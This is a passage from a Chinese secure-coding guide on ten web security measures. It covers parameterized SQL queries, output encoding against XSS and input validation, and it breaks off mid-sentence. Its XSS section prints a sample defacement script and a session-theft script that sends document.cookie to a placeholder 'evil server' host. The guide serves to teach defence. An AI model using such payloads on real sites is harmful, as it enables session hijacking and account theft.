网站的十大安全措施.docVIP

. . 从应用的架构、设计和研发角度总结了构建安全应用的十大控制措施，致力于提高软件设计和开发人员的安全意识和能力，进而提升应用的安全性。这十大措施中，有的很具体，有的只是通用的分类，有的是技术性的，有的是过程相关的。 不过，仅仅指出问题往往是不够的，开发人员是应用的基础，为了开发出安全的应用，必须要为他们提供必要的帮助和支持。编写Web 应用的软件开发人员需要掌握和练习各种安全编码的技术。Web 应用的每一层，包括用户界面、业务逻辑、控制器以及数据库代码，在编写的时候都必须将安全问题牢记在心，这可能是非常困难的一项任务，因为大多数开发人员并没有太多安全方面的知识，而用来构建Web 应用的语言和框架在安全方面通常缺乏必要的控制。在需求和设计阶段，可能也会有固有的缺陷，很少有组织为开发人员提供需求规约以指导他们编写安全的代码。 1. 参数化查询 SQL 注入是Web 应用中最危险的漏洞之一，因为SQL 注入较为容易被黑客探测到并且会给应用带来毁灭性的打击。只需在你的Web 应用中注入一条简单的恶意SQL，你的整个数据库可能就会被窃取、擦除或者篡改。在运行数据库的主机上，甚至可以借助Web 应用执行危险的操作系统命令。为了防止SQL 注入，开发人员必须阻止那些不可信任的输入，这些输入将会解析成为SQL 命令的一部分。要实现这一点，最好的一种方式就是使用被称做查询参数化（Query Parameterization）的编程技术。 例如，在Java 之中，查询参数化如下所示： String newName = request.getParameter(newName); String id = request.getParameter(id); PreparedStatement pstmt = con.prepareStatement(UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?); pstmt.setString(1, newName); pstmt.setString(2, id); 2. 对数据进行编码 编码（encoding）是一个很强大的工具，它有助于防范很多类型的攻击，尤其是注入攻击。本质上来讲，编码就是将特殊字符转换成对等的字符，但是转换后的字符对于目标解析器来说不再是敏感的。关于编码的一个样例就是防止跨站脚本攻击（XSS，Cross SiteScripting）。Web 开发人员经常会动态地构建Web 页面，页面中包含开发人员构建的HTML/JavaScript代码以及数据库中的数据，而这些数据最初是由用户输入的。输入的数据应该被视为不可信任且危险的，在构建安全的Web 应用时，需要对其进行特殊的处理。当攻击者欺骗你的用户执行恶意的JavaScript 时，就会发生跨站脚本攻击或者更恰当地称之为JavaScript 注入，这些JavaScript 脚本最初是构建到Web 站点中的，XSS 攻击会在用户的浏览器中执行，因此会产生各种各样的影响。 例如，XSS 站点涂改： scriptdocument.body.innerHTML(Jim was here);/script XSS session 窃取： script var img = new Image(); img.src=hxxp://some evil server.com? + document.cookie; /script 持久化XSS（Persistent XSS）或存储XSS（Stored XSS）指的是XSS 攻击嵌入到了站点的数据库或文件系统之中了。这种XSS 更为危险，因为当攻击执行的时候，用户已经登录站点了。当将XSS 攻击置于URL 的结尾处时，会发生反射XSS（Reflected XSS），它会欺骗受害者访问该URL，当访问的时候攻击就会触发。阻止XSS的关键编程技术就是输出编码，它会在输出的时候执行，如果你构建用户界面的话，也就是在将非信任的数据添加到HTML 中的时候。能够阻止XSS 的编码形式包括HTML实体编码、JavaScript 编码以及百分号编码（也称为URL 编码）。 3. 校验所有的输入 编写安全应用时，很重要的一点就是将所有来自于应用外部的输入（如来自于浏览器或移动客户端，来自于外部系统或文件）均视为不可信任的。对于Web 应用来说，这包括HTTP头、cookies 以及GET 和POST 参数，总而言之也就是任何攻击者可以入侵的数据。构建安全Web 应用的一个重要方法就是限制用户能够提交到Web 应用之中的输入。限制用户输入的技术称之为“输入校验”。在Web 应用的服务器端，输入校验通常会用到正则表达式。有两种输入校验，分别为“白名单”和“黑名单”校验。白名单试图定义好的输入